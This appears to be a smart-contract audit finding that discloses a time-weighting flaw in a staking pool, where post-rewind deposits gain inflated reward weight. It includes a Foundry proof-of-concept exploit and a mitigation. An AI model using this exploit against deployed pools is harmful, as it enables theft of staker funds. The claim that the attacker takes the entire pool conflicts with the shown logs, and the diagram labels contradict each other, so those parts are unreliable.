Description
To reward early depositors, the pool relies on a time-weighted formula that calculates user shares based on the risk window end time permanently locked during the first terminal state observation. The protocol mathematical model inherently assumes that all valid deposit timestamps will occur before this frozen end time to correctly penalize late entrants. The critical issue emerges when the decentralized autonomous organization executes a benign upstream registry state rewind from a terminal state back to an active-risk state, which legally reopens the staking function. Because the staking function solely validates the live registry state without enforcing an absolute time boundary check against the permanently frozen risk window end, an attacker can deposit after the locked end time has passed.
This creates a scenario where the deposit time is strictly greater than the locked end time, flipping the time delta negative. The squared time-weighting formula blindly converts this massive negative delta into an exceptionally large positive multiplier.
Formula: userScore ∝ Σ stake_i * (T - t_i)²
where T = outcomeFlaggedAt = riskWindowEnd (frozen)
t_i = entry timestamp (clamped to ≥ riskWindowStart)
Weight w = (T - t)²
w ↑
|
| * t=50 (early deposit, large weight: (100-50)²=2500)
|
|
|
|
|
|
+----*---------------*-------------------*------→ t (block.timestamp)
| | |
t_early=50 T=100 t_attack=150
(weight=0) (late deposit, weight = (100-150)²=2500 !!!)
Attacker deposits at t=150 (after T=100). The square (T - t)² becomes (100-150)² = 2500,
identical to the early staker's weight, because the negative delta flips sign.
The later they deposit, the higher the stolen weight.
Because the attacker's deposit time exceeds the final risk window end time, the parabolic reversal mathematically tricks the pool into treating the newest, completely risk-free deposit as the oldest one with maximum possible weight.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
[...]
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
[...]
_clampUserSums(msg.sender);
@> uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
[...]
}
Risk
Likelihood:
The vulnerability is guaranteed to be executable whenever the protocol executes a benign registry state rewind from a terminal state back to an active-risk state, which is a documented and standard governance operation designed to reopen the security assessment window. The protocol design documentation explicitly anticipates and accepts this state rewind:
A benign upstream state rewind cannot re-open withdraw: that is gated on the one-way riskWindowStart != 0 latch (§9), not solely on live state.
Because the staking function completely lacks a corresponding historical time boundary check and relies entirely on the live registry state flag, the attack path becomes unconditionally available the exact moment the rewind transaction is confirmed on the network.
Impact:
An attacker can exploit this mathematical flaw to steal the entire bonus pool with absolutely zero risk. By depositing late and triggering the parabolic reversal, the attacker effortlessly dilutes the proportional shares of honest early stakers to near zero, resulting in a total and irrecoverable loss of the legitimate risk premiums meant for the real protocol participants.
Proof of Concept
function testParabolicReversalAttack() public {
bytes4 getStateSel = bytes4(keccak256("getAgreementState(address)"));
address attackRegistry = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
vm.mockCall(attackRegistry, abi.encodeWithSelector(getStateSel, DEMO_AGREEMENT), abi.encode(5));
pool.pokeRiskWindow();
uint256 T = pool.riskWindowEnd();
vm.mockCall(attackRegistry, abi.encodeWithSelector(getStateSel, DEMO_AGREEMENT), abi.encode(3));
vm.warp(T + 30 days);
vm.prank(attacker);
pool.stake(100e18);
vm.mockCall(attackRegistry, abi.encodeWithSelector(getStateSel, DEMO_AGREEMENT), abi.encode(5));
pool.pokeRiskWindow();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
pool.claimSurvived();
vm.prank(attacker);
pool.claimSurvived();
assertEq(stakeToken.balanceOf(alice) - aliceBefore, 1000e18);
assertEq(stakeToken.balanceOf(attacker) - attackerBefore, 200e18);
}
Logs:
forge test --mt testParabolicReversalAttack -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/fork/BattleChainFactoryIntegration.fork.t.sol:BattleChainFactoryIntegrationForkTest
[PASS] testParabolicReversalAttack() (gas: 1006784)
Logs:
riskWindowEnd T = 1778077216
attacker deposited at 1780669216
aliceReward 1000000000000000000000
attackerReward 200000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.50s (3.32ms CPU time)
Ran 1 test suite in 1.50s (1.50s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
[...]
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
+ if (riskWindowEnd != 0 && block.timestamp > riskWindowEnd) revert StakingClosed();
if (!expiryLocked) {
expiryLocked = true;
}
[...]
}